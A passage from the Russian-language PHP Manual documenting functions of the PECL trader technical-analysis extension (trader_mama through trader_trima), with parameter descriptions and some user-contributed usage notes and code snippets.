Сглаживание для сигнальной линии (номер периода). Допустимы значения от 1 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

Chileung Chow 04-Mar-2017 05:52
Return value of this function is an array of arrays :

index [0]: MACD values
index [1]: Signal values
index [2]: Divergence values


MESA Адаптивная скользящая средняя

  • « trader_macdfix
  • trader_mavp »
  • PHP Manual
  • Функции Trader
  • MESA Адаптивная скользящая средняя

trader_mama

(PECL trader >= 0.2.0)

trader_mama — MESA Адаптивная скользящая средняя

Описание

trader_mama(array $real, float $fastLimit = ?, float $slowLimit = ?): array

Список параметров

real

Массив, содержащий реальные значения.

fastLimit

Верхний предел, используемый в адаптивном алгоритме. Допустимы значения от 0.01 до 0.99.

slowLimit

Нижний предел, используемый в адаптивном алгоритме. Допустимы значения от 0.01 до 0.99.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Скользящая средняя с переменным периодом

  • « trader_mama
  • trader_max »
  • PHP Manual
  • Функции Trader
  • Скользящая средняя с переменным периодом

trader_mavp

(PECL trader >= 0.2.0)

trader_mavp — Скользящая средняя с переменным периодом

Описание

trader_mavp(
array $real,
array $periods,
int $minPeriod = ?,
int $maxPeriod = ?,
int $mAType = ?
): array

Список параметров

real

Массив, содержащий реальные значения.

periods

Массив, содержащий реальные значения.

minPeriod

Значение, меньшее минимума, будет изменено на минимальный период. Допустимы значения от 2 до 100000

maxPeriod

Значение, большее максимума, будет изменено на максимальный период. Допустимы значения от 2 до 100000

mAType

Тип скользящей средней. Следует использовать серию констант TRADER_MA_TYPE_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Наибольшее значение за указанный период

  • « trader_mavp
  • trader_maxindex »
  • PHP Manual
  • Функции Trader
  • Наибольшее значение за указанный период

trader_max

(PECL trader >= 0.2.0)

trader_max — Наибольшее значение за указанный период

Описание

trader_max(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Индекс наибольшего значения за указанный период

  • « trader_max
  • trader_medprice »
  • PHP Manual
  • Функции Trader
  • Индекс наибольшего значения за указанный период

trader_maxindex

(PECL trader >= 0.2.0)

trader_maxindex — Индекс наибольшего значения за указанный период

Описание

trader_maxindex(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Средняя цена

  • « trader_maxindex
  • trader_mfi »
  • PHP Manual
  • Функции Trader
  • Средняя цена

trader_medprice

(PECL trader >= 0.2.0)

trader_medprice — Средняя цена

Описание

trader_medprice(array $high, array $low): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Индекс денежных потоков

  • « trader_medprice
  • trader_midpoint »
  • PHP Manual
  • Функции Trader
  • Индекс денежных потоков

trader_mfi

(PECL trader >= 0.2.0)

trader_mfi — Индекс денежных потоков

Описание

trader_mfi(
array $high,
array $low,
array $close,
array $volume,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

volume

Объем торгов, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Середина отрезка за период

  • « trader_mfi
  • trader_midprice »
  • PHP Manual
  • Функции Trader
  • Середина отрезка за период

trader_midpoint

(PECL trader >= 0.2.0)

trader_midpoint — Середина отрезка за период

Описание

trader_midpoint(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Средняя цена за период

  • « trader_midpoint
  • trader_min »
  • PHP Manual
  • Функции Trader
  • Средняя цена за период

trader_midprice

(PECL trader >= 0.2.0)

trader_midprice — Средняя цена за период

Описание

trader_midprice(array $high, array $low, int $timePeriod = ?): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Наименьшее значение за указанный период

  • « trader_midprice
  • trader_minindex »
  • PHP Manual
  • Функции Trader
  • Наименьшее значение за указанный период

trader_min

(PECL trader >= 0.2.0)

trader_min — Наименьшее значение за указанный период

Описание

trader_min(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Индекс наименьшего значения за определённый период

  • « trader_min
  • trader_minmax »
  • PHP Manual
  • Функции Trader
  • Индекс наименьшего значения за определённый период

trader_minindex

(PECL trader >= 0.2.0)

trader_minindex — Индекс наименьшего значения за определённый период

Описание

trader_minindex(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Самые низкие и самые высокие значения за указанный период

  • « trader_minindex
  • trader_minmaxindex »
  • PHP Manual
  • Функции Trader
  • Самые низкие и самые высокие значения за указанный период

trader_minmax

(PECL trader >= 0.2.0)

trader_minmax — Самые низкие и самые высокие значения за указанный период

Описание

trader_minmax(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Индексы самых низких и самых высоких значений за указанный период

  • « trader_minmax
  • trader_minus_di »
  • PHP Manual
  • Функции Trader
  • Индексы самых низких и самых высоких значений за указанный период

trader_minmaxindex

(PECL trader >= 0.2.0)

trader_minmaxindex — Индексы самых низких и самых высоких значений за указанный период

Описание

trader_minmaxindex(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Минус-направленный индикатор

  • « trader_minmaxindex
  • trader_minus_dm »
  • PHP Manual
  • Функции Trader
  • Минус-направленный индикатор

trader_minus_di

(PECL trader >= 0.2.0)

trader_minus_di — Минус-направленный индикатор

Описание

trader_minus_di(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Минус-направленное движение

  • « trader_minus_di
  • trader_mom »
  • PHP Manual
  • Функции Trader
  • Минус-направленное движение

trader_minus_dm

(PECL trader >= 0.2.0)

trader_minus_dm — Минус-направленное движение

Описание

trader_minus_dm(array $high, array $low, int $timePeriod = ?): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Моментум

  • « trader_minus_dm
  • trader_mult »
  • PHP Manual
  • Функции Trader
  • Моментум

trader_mom

(PECL trader >= 0.2.0)

trader_mom — Моментум

Описание

trader_mom(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Арифметический вектор произведения

  • « trader_mom
  • trader_natr »
  • PHP Manual
  • Функции Trader
  • Арифметический вектор произведения

trader_mult

(PECL trader >= 0.2.0)

trader_mult — Арифметический вектор произведения

Описание

trader_mult(array $real0, array $real1): array

Вычисляет произведение векторной точки для real0 с помощью real1 и возвращает полученный вектор.

Список параметров

real0

Массив, содержащий реальные значения.

real1

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:41
<?php

$result = trader_mult([1,2,3,4,5], [6,7,8,9,10]);

var_dump($result);
/*
array(5) {
  [0]=>
  float(6)  // 1 * 6
  [1]=>
  float(14) // 2 * 7
  [2]=>
  float(24) // 3 * 8
  [3]=>
  float(36) // 4 * 9
  [4]=>
  float(50) // 5 * 10
}
*/


Нормализованный средний истинный диапазон

  • « trader_mult
  • trader_obv »
  • PHP Manual
  • Функции Trader
  • Нормализованный средний истинный диапазон

trader_natr

(PECL trader >= 0.2.0)

trader_natr — Нормализованный средний истинный диапазон

Описание

trader_natr(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Индикатор Балансового объёма

  • « trader_natr
  • trader_plus_di »
  • PHP Manual
  • Функции Trader
  • Индикатор Балансового объёма

trader_obv

(PECL trader >= 0.2.0)

trader_obv — Индикатор Балансового объёма

Описание

trader_obv(array $real, array $volume): array

Список параметров

real

Массив, содержащий реальные значения.

volume

Объем торгов, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плюс-направленный индикатор

  • « trader_obv
  • trader_plus_dm »
  • PHP Manual
  • Функции Trader
  • Плюс-направленный индикатор

trader_plus_di

(PECL trader >= 0.2.0)

trader_plus_di — Плюс-направленный индикатор

Описание

trader_plus_di(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плюс-направленное движение

  • « trader_plus_di
  • trader_ppo »
  • PHP Manual
  • Функции Trader
  • Плюс-направленное движение

trader_plus_dm

(PECL trader >= 0.2.0)

trader_plus_dm — Плюс-направленное движение

Описание

trader_plus_dm(array $high, array $low, int $timePeriod = ?): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Процентный ценовой осциллятор

  • « trader_plus_dm
  • trader_roc »
  • PHP Manual
  • Функции Trader
  • Процентный ценовой осциллятор

trader_ppo

(PECL trader >= 0.2.0)

trader_ppo — Процентный ценовой осциллятор

Описание

trader_ppo(
array $real,
int $fastPeriod = ?,
int $slowPeriod = ?,
int $mAType = ?
): array

Список параметров

real

Массив, содержащий реальные значения.

fastPeriod

Номер периода для быстрого скользящего среднего. Допустимы значения от 2 до 100000.

slowPeriod

Номер периода для медленного скользящего среднего. Допустимы значения от 2 до 100000.

mAType

Тип скользящей средней. Следует использовать серию констант TRADER_MA_TYPE_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

vito 30-Jan-2018 11:28
It's always returing an array of 0 to me


Скорость изменения: ((цена/предыдущая цена)-1)*100

  • « trader_ppo
  • trader_rocp »
  • PHP Manual
  • Функции Trader
  • Скорость изменения: ((цена/предыдущая цена)-1)*100

trader_roc

(PECL trader >= 0.2.0)

trader_roc — Скорость изменения: ((цена/предыдущая цена)-1)*100

Описание

trader_roc(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Коэффициент изменения в процентах: (цена-предыдущая цена)/предыдущая цена

  • « trader_roc
  • trader_rocr100 »
  • PHP Manual
  • Функции Trader
  • Коэффициент изменения в процентах: (цена-предыдущая цена)/предыдущая цена

trader_rocp

(PECL trader >= 0.2.0)

trader_rocp — Коэффициент изменения в процентах: (цена-предыдущая цена)/предыдущая цена

Описание

trader_rocp(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Коэффициент изменения курса шкалы: (цена/предыдущая цена)*100

  • « trader_rocp
  • trader_rocr »
  • PHP Manual
  • Функции Trader
  • Коэффициент изменения курса шкалы: (цена/предыдущая цена)*100

trader_rocr100

(PECL trader >= 0.2.0)

trader_rocr100 — Коэффициент изменения курса шкалы: (цена/предыдущая цена)*100

Описание

trader_rocr100(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Коэффициент изменения курса: (цена/предыдущая цена)

  • « trader_rocr100
  • trader_rsi »
  • PHP Manual
  • Функции Trader
  • Коэффициент изменения курса: (цена/предыдущая цена)

trader_rocr

(PECL trader >= 0.2.0)

trader_rocr — Коэффициент изменения курса: (цена/предыдущая цена)

Описание

trader_rocr(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

mityaev_ivan at mail dot ru 02-Mar-2014 09:59
timePeriod can be from 1 (not from 2)
Working correctly, and tis is common need to calculate change from previos period.


Индекс относительной силы

  • « trader_rocr
  • trader_sar »
  • PHP Manual
  • Функции Trader
  • Индекс относительной силы

trader_rsi

(PECL trader >= 0.2.0)

trader_rsi — Индекс относительной силы

Описание

trader_rsi(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

essaamar at hotmail dot com 21-Sep-2018 10:44
the [2,2,3,2,3] are array of values for example $2,$2$3,$2,$3
the 4 is periods
$t=trader_rsi ( [2,2,3,2,3],4);

print_r($t);

returns :

Array ( [4] => 66.667 )


Параболический SAR

  • « trader_rsi
  • trader_sarext »
  • PHP Manual
  • Функции Trader
  • Параболический SAR

trader_sar

(PECL trader >= 0.2.0)

trader_sar — Параболический SAR

Описание

trader_sar(
array $high,
array $low,
float $acceleration = ?,
float $maximum = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

acceleration

Коэффициент ускорения используется до максимального значения. Допустимый диапазон от 0 до TRADER_REAL_MAX.

maximum

Коэффициент ускорения Максимальное значение. Допустимый диапазон от 0 до TRADER_REAL_MAX.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Параболический SAR - расширенный

  • « trader_sar
  • trader_set_compat »
  • PHP Manual
  • Функции Trader
  • Параболический SAR - расширенный

trader_sarext

(PECL trader >= 0.2.0)

trader_sarext — Параболический SAR - расширенный

Описание

trader_sarext(
array $high,
array $low,
float $startValue = ?,
float $offsetOnReverse = ?,
float $accelerationInitLong = ?,
float $accelerationLong = ?,
float $accelerationMaxLong = ?,
float $accelerationInitShort = ?,
float $accelerationShort = ?,
float $accelerationMaxShort = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

startValue

Начальное значение и направление. 0 для автоматического направления, > 0 для длинного направления, < 0 для короткого направления. Допустимый диапазон от TRADER_REAL_MIN до TRADER_REAL_MAX.

offsetOnReverse

Процентное смещение добавлено/удалено к начальной остановке при коротком/длинном развороте. Допустимый диапазон от 0 до TRADER_REAL_MAX.

accelerationInitLong

Начальное значение коэффициента ускорения для длинного направления. Допустимый диапазон от 0 до TRADER_REAL_MAX.

accelerationLong

Коэффициент ускорения для длинного направления. Допустимый диапазон от 0 до TRADER_REAL_MAX.

accelerationMaxLong

Максимальное значение коэффициента ускорения для длинного направления. Допустимый диапазон от 0 до TRADER_REAL_MAX.

accelerationInitShort

Начальное значение коэффициента ускорения для короткого направления. Допустимый диапазон от 0 до TRADER_REAL_MAX.

accelerationShort

Коэффициент ускорения для короткого направления. Допустимый диапазон от 0 до TRADER_REAL_MAX.

accelerationMaxShort

Максимальное значение коэффициента ускорения для короткого направления. Допустимый диапазон от 0 до TRADER_REAL_MAX.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает режим совместимости

  • « trader_sarext
  • trader_set_unstable_period »
  • PHP Manual
  • Функции Trader
  • Устанавливает режим совместимости

trader_set_compat

(PECL trader >= 0.2.2)

trader_set_compat — Устанавливает режим совместимости

Описание

trader_set_compat(int $compatId): void

Устанавливает режим совместимости, который влияет на способ выполнения вычислений всеми функциями модуля.

Список параметров

compatId

Идентификатор совместимости. Используется серия констант TRADER_COMPATIBILITY_*.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает нестабильный период

  • « trader_set_compat
  • trader_sin »
  • PHP Manual
  • Функции Trader
  • Устанавливает нестабильный период

trader_set_unstable_period

(PECL trader >= 0.2.2)

trader_set_unstable_period — Устанавливает нестабильный период

Описание

trader_set_unstable_period(int $functionId, int $timePeriod): void

Влияет на фактор нестабильного периода для чувствительных к нему функций. Дополнительную информацию о нестабильных периодах можно найти на странице документации по API » TA-Lib.

Список параметров

functionId

Идентификатор функции, для которой должен быть установлен коэффициент. Серия констант TRADER_FUNC_UNST_* может использоваться для воздействия на соответствующую функцию.

timePeriod

Значение нестабильного периода.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Векторный тригонометрический синус

  • « trader_set_unstable_period
  • trader_sinh »
  • PHP Manual
  • Функции Trader
  • Векторный тригонометрический синус

trader_sin

(PECL trader >= 0.2.0)

trader_sin — Векторный тригонометрический синус

Описание

trader_sin(array $real): array

Вычисляет синус для каждого значения в real и возвращает результирующий массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Векторный тригонометрический гиперболический синус

  • « trader_sin
  • trader_sma »
  • PHP Manual
  • Функции Trader
  • Векторный тригонометрический гиперболический синус

trader_sinh

(PECL trader >= 0.2.0)

trader_sinh — Векторный тригонометрический гиперболический синус

Описание

trader_sinh(array $real): array

Вычисляет гиперболический синус для каждого значения в real и возвращает результирующий массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Простое скользящее среднее

  • « trader_sinh
  • trader_sqrt »
  • PHP Manual
  • Функции Trader
  • Простое скользящее среднее

trader_sma

(PECL trader >= 0.2.0)

trader_sma — Простое скользящее среднее

Описание

trader_sma(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Векторный квадратный корень

  • « trader_sma
  • trader_stddev »
  • PHP Manual
  • Функции Trader
  • Векторный квадратный корень

trader_sqrt

(PECL trader >= 0.2.0)

trader_sqrt — Векторный квадратный корень

Описание

trader_sqrt(array $real): array

Вычисляет векторный квадратный корень для каждого значения в real и возвращает результирующий массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Стандартное отклонение

  • « trader_sqrt
  • trader_stoch »
  • PHP Manual
  • Функции Trader
  • Стандартное отклонение

trader_stddev

(PECL trader >= 0.2.0)

trader_stddev — Стандартное отклонение

Описание

trader_stddev(array $real, int $timePeriod = ?, float $nbDev = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

nbDev

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

nijatasadov at gmail dot com 25-Jan-2019 09:40
trader_stddev doesn't work. This is why trader_bbands doesn't work as well.

function standard_deviation(array $a, $sample = false)
    {
        $n = count($a);
        if ($n === 0) {
            trigger_error("The array has zero elements", E_USER_WARNING);

            return false;
        }
        if ($sample && $n === 1) {
            trigger_error("The array has only 1 element", E_USER_WARNING);

            return false;
        }
        $mean = array_sum($a) / $n;
        $carry = 0.0;
        foreach ($a as $val) {
            $d = ((double) $val) - $mean;
            $carry += $d * $d;
        };
        if ($sample) {
            --$n;
        }

        return sqrt($carry / $n);
    }

trader_stddev($data, $period) {
       $stds = [];
        $current = [];

        foreach ($data as $i => $close) {
            $current[] = $close;
            if ($i < $period) {
                $stds[$i] = false;
            } else {
                $stds[$i] = standard_deviation($current);
                array_shift($current);
            }
        }

        return $stds;

}


Стохастический осциллятор

  • « trader_stddev
  • trader_stochf »
  • PHP Manual
  • Функции Trader
  • Стохастический осциллятор

trader_stoch

(PECL trader >= 0.2.0)

trader_stoch — Стохастический осциллятор

Описание

trader_stoch(
array $high,
array $low,
array $close,
int $fastK_Period = ?,
int $slowK_Period = ?,
int $slowK_MAType = ?,
int $slowD_Period = ?,
int $slowD_MAType = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

fastK_Period

Временной период для построения линии Fast-K. Допустимы значения от 1 до 100000.

slowK_Period

Сглаживание для создания линии Slow-K. Допустимы значения от 1 до 100000, обычно установлено значение 3.

slowK_MAType

Тип скользящей средней для Slow-K. Следует использовать серию констант TRADER_MA_TYPE_*.

slowD_Period

Сглаживание для создания линии Slow-D. Допустимы значения от 1 до 100000.

slowD_MAType

Тип скользящей средней для Slow-D. Следует использовать серию констант TRADER_MA_TYPE_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

Bruce D 23-Nov-2014 11:45
This function returns an array of arrays :

index [0]:  %K values
index [1]:  %D values


Быстрый стохастический осциллятор

  • « trader_stoch
  • trader_stochrsi »
  • PHP Manual
  • Функции Trader
  • Быстрый стохастический осциллятор

trader_stochf

(PECL trader >= 0.2.0)

trader_stochf — Быстрый стохастический осциллятор

Описание

trader_stochf(
array $high,
array $low,
array $close,
int $fastK_Period = ?,
int $fastD_Period = ?,
int $fastD_MAType = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

fastK_Period

Временной период для построения линии Fast-K. Допустимы значения от 1 до 100000.

fastD_Period

Сглаживание для создания линии Fast-D. Допустимы значения от 1 до 100000, обычно установлено значение 3.

fastD_MAType

Тип скользящей средней для Fast-D. Следует использовать серию констант TRADER_MA_TYPE_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Стохастический относительный индекс силы

  • « trader_stochf
  • trader_sub »
  • PHP Manual
  • Функции Trader
  • Стохастический относительный индекс силы

trader_stochrsi

(PECL trader >= 0.2.0)

trader_stochrsi — Стохастический относительный индекс силы

Описание

trader_stochrsi(
array $real,
int $timePeriod = ?,
int $fastK_Period = ?,
int $fastD_Period = ?,
int $fastD_MAType = ?
): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

fastK_Period

Временной период для построения линии Fast-K. Допустимы значения от 1 до 100000.

fastD_Period

Сглаживание для создания линии Fast-D. Допустимы значения от 1 до 100000, обычно установлено значение 3.

fastD_MAType

Тип скользящей средней для Fast-D. Следует использовать серию констант TRADER_MA_TYPE_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

Ali 14-Apr-2021 08:43
this function use FAST stoch if you need results like Tradingview use this:

$rsi = trader_rsi($dataclose,14);
$stochrsi = trader_stoch($rsi,$rsi,$rsi,14,3,TRADER_MA_TYPE_SMA,3,TRADER_MA_TYPE_SMA);


Векторное арифметическое вычитание

  • « trader_stochrsi
  • trader_sum »
  • PHP Manual
  • Функции Trader
  • Векторное арифметическое вычитание

trader_sub

(PECL trader >= 0.2.0)

trader_sub — Векторное арифметическое вычитание

Описание

trader_sub(array $real0, array $real1): array

Вычисляет векторное вычитание real1 из real0 и возвращает результирующий вектор.

Список параметров

real0

Массив, содержащий реальные значения.

real1

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Суммирование

  • « trader_sub
  • trader_t3 »
  • PHP Manual
  • Функции Trader
  • Суммирование

trader_sum

(PECL trader >= 0.2.0)

trader_sum — Суммирование

Описание

trader_sum(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Тройная экспоненциальная скользящая средняя

  • « trader_sum
  • trader_tan »
  • PHP Manual
  • Функции Trader
  • Тройная экспоненциальная скользящая средняя

trader_t3

(PECL trader >= 0.2.0)

trader_t3 — Тройная экспоненциальная скользящая средняя

Описание

trader_t3(array $real, int $timePeriod = ?, float $vFactor = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

vFactor

Коэффициент объёма. Допустимы значения от 1 до 0.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Векторный тригонометрический тангенс

  • « trader_t3
  • trader_tanh »
  • PHP Manual
  • Функции Trader
  • Векторный тригонометрический тангенс

trader_tan

(PECL trader >= 0.2.0)

trader_tan — Векторный тригонометрический тангенс

Описание

trader_tan(array $real): array

Вычисляет тангенс для каждого значения в real и возвращает полученный массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Тригонометрический вектор Тан

  • « trader_tan
  • trader_tema »
  • PHP Manual
  • Функции Trader
  • Тригонометрический вектор Тан

trader_tanh

(PECL trader >= 0.2.0)

trader_tanh — Тригонометрический вектор Тан

Описание

trader_tanh(array $real): array

Вычисляет гиперболический тангенс для каждого значения в real и возвращает полученный массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Тройная экспоненциальная скользящая средняя

  • « trader_tanh
  • trader_trange »
  • PHP Manual
  • Функции Trader
  • Тройная экспоненциальная скользящая средняя

trader_tema

(PECL trader >= 0.2.0)

trader_tema — Тройная экспоненциальная скользящая средняя

Описание

trader_tema(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Истинный диапазон

  • « trader_tema
  • trader_trima »
  • PHP Manual
  • Функции Trader
  • Истинный диапазон

trader_trange

(PECL trader >= 0.2.0)

trader_trange — Истинный диапазон

Описание

trader_trange(array $high, array $low, array $close): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Треугольная скользящая средняя

  • « trader_trange
  • trader_trix »
  • PHP Manual
  • Функции Trader
  • Треугольная скользящая средняя

trader_trima

(PECL trader >= 0.2.0)

trader_trima — Треугольная скользящая средняя

Описание

trader_trima(array $real, int $timePeriod = ?): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

